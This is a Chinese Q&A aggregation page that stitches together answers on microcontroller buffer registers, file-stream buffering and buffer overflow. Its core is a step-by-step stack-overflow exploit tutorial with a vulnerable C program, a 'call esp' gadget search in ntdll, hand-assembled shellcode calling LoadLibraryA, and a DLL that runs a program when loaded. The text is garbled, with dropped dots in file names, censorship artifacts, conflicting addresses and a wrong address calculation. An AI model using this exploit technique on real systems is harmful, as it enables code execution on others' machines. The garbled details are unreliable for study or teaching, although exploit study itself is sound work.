缓冲区就像个水池,数据就像水,水可以倒进去,也可以取出来,如果水池太小,水就可能溢出,就是一般说的缓冲区溢出。一般的缓冲区是程序员自己在普通RAM中划分出来的,而缓冲寄存器是CPU自身硬件固有的,是CPU公司设计的,功能与性质和普通缓冲区是一致的,但一般比较小,几个字节甚至1个字节,这就要求软件及时注意数据的更新。
SBUF实际是2个字节,一个针对发送,一个针对接收,但寄存器名只有一个,CPU会自动根据程序的动作方向来决定使用哪个空间。 楼上的不要误人子弟哦。
上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include <stdioh>
#include <stringh>
void foo(const char input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char argv[])
{
foo("1234567890123456123456123456");
return 0;
}
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函数返回地址| |
---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁 *** 作:
mov esp ebp
pop ebp
ret
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
下面是步骤:
1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
2 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:
#include
"stdafxh"
#include <stdioh>
#include <windowsh>
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si,
sizeof(si) );
sicb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepadexe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32dll和ntdlldll,还有可能有msvcrt8dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32dll | findstr /c:"FF E4",哦哦,没有。再试ntdlldll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32dll里面没有,啊哈,ntdlldll里面有,这是搜索结果:
7C914393: FF E5 call esp
4编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32dll中的,启动Dependsexe,Dependsexe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
*** 作系统不一样,值可能不一样,在最下面的窗口中找到kernel32dll的base address(Preferred Base)是0x77E00000,如下:
Module | 中间很多省略 | Preferred Base
-------------------------------------------------------------------------
Kernel32dll | | 0x77E000000
将Kernel32dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
<stdioh>
#include <stringh>
void func(char p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hackdll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了
void main()
{
int buf[5];
int a=0;
int temp[100];
printf("只给buf赋值,但由于溢出,会导致其他信息被覆盖;\n");
for(int i=0;i<10;i++)
{
buf[i]=i+1;
if(i>=5){
printf("缓冲区溢出了,a,temp值会变化!\n");
}
printf("a=%d,temp[0]=%d,temp[1]=%d,temp[2]=%d\n",a,temp[0],temp[1],temp[2]);
}
}
缓冲区溢出是指当计算机向缓冲区内填充数据位数时,超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,理想的情况是,程序检查数据长度,并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患。
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种 *** 作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法 *** 作。
你写了一个程序,其中要对硬盘上的一个文件 *** 作,FileStream fs = new FileStream(fileName)
这样就是建立了一个文件缓冲流,换句话的意思就是说你通过这条程序,计算机给了一一块内存空间,但是呢这块内存空间不是你想干什么就干涉么的,他是专门存fileName这个文件里面的内容的,内存空间的大小,和其他信息,简单地 *** 作时没有办法访问的。当你要从文件里面读取一个Int整数的时候,程序做的不仅仅是读取一个int型整数,他会把该数据附近的一大块数据都读出来放在刚才的那块空间中,为什么这么做呢,因为CPU访问硬盘比访问内存慢多了,所以一开始读出很多的数据,后面需要使用的时候直接使用读出来的,就防止了再次访问硬盘。
相应的,你要网文件里面写入数据,也是先存到这个内存里,等存的东西足够多了,或者过了足够的时间,系统一次性把内容写入硬盘。
Flush的作用就是强制执行了一次把数据写出硬盘,这样,你写入的数据确实到了文件中,否则如果程序突然中断,你要写入的内容也许还没写到文件中,就造成了数据丢失。
缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里……
堆栈溢出(又称缓冲区溢出)攻击是最常用的黑客技术之一。我们知道,UNIX本身以及其上的许多应用程序都是用C语言编写的,C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区。这称作“堆栈溢出或缓冲溢出”。
一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误。但是,如果输入的数据是经过“黑客”精心设计的,覆盖堆栈的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。如果该程序恰好是以root运行的,黑客就获得了root权限,然后他就可以编译黑客程序、留下入侵后门等,实施进一步地攻击。按照这种原理进行的黑客入侵就叫做“堆栈溢出攻击”。
为了便于理解,我们不妨打个比方。缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。一旦该容器放满了,余下的部分就溢出在柜台和地板上,弄得一团糟。由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区——五磅的容器——做适当的检查,看它们是否够大,能否完全装入新的内容——十磅的糖,结果可能造成缓冲区溢出的产生。如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。但是,如果缓冲区仅仅溢出,这只是一个问题。到此时为止,它还没有破坏性。当糖溢出时,柜台被盖住。可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。
在丢失的信息里有能够被程序调用的子程序的列表信息,直到缓冲区溢出发生。另外,给那些子程序的信息——参数——也丢失了。这意味着程序不能得到足够的信息从子程序返回,以完成它的任务。就像一个人步行穿过沙漠。如果他依赖于他的足迹走回头路,当沙暴来袭抹去了这些痕迹时,他将迷失在沙漠中。这个问题比程序仅仅迷失方向严重多了。入侵者用精心编写的入侵代码(一种恶意程序)使缓冲区溢出,然后告诉程序依据预设的方法处理缓冲区,并且执行。此时的程序已经完全被入侵者 *** 纵了。
入侵者经常改编现有的应用程序运行不同的程序。例如,一个入侵者能启动一个新的程序,发送秘密文件(支票本记录,口令文件,或财产清单)给入侵者的电子邮件。这就好像不仅仅是沙暴吹了脚印,而且后来者也会踩出新的脚印,将我们的迷路者领向不同的地方,他自己一无所知的地方。
缓冲区溢出的处理
你屋子里的门和窗户越少,入侵者进入的方式就越少……
由于缓冲区溢出是一个编程问题,所以只能通过修复被破坏的程序的代码而解决问题。如果你没有源代码,从上面“堆栈溢出攻击”的原理可以看出,要防止此类攻击,我们可以:
1、开放程序时仔细检查溢出情况,不允许数据溢出缓冲区。由于编程和编程语言的原因,这非常困难,而且不适合大量已经在使用的程序;
2、使用检查堆栈溢出的编译器或者在程序中加入某些记号,以便程序运行时确认禁止黑客有意造成的溢出。问题是无法针对已有程序,对新程序来讲,需要修改编译器;
3、经常检查你的 *** 作系统和应用程序提供商的站点,一旦发现他们提供的补丁程序,就马上下载并且应用在系统上,这是最好的方法。但是系统管理员总要比攻击者慢一步,如果这个有问题的软件是可选的,甚至是临时的,把它从你的系统中删除。举另外一个例子,你屋子里的门和窗户越少,入侵者进入的方式就越少。
以上就是关于单片机数据缓冲区与工作寄存器区别全部的内容,包括:单片机数据缓冲区与工作寄存器区别、如何利用缓冲区溢出的程序错误来运行黑客程序、求 缓冲区溢出 演示程序等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)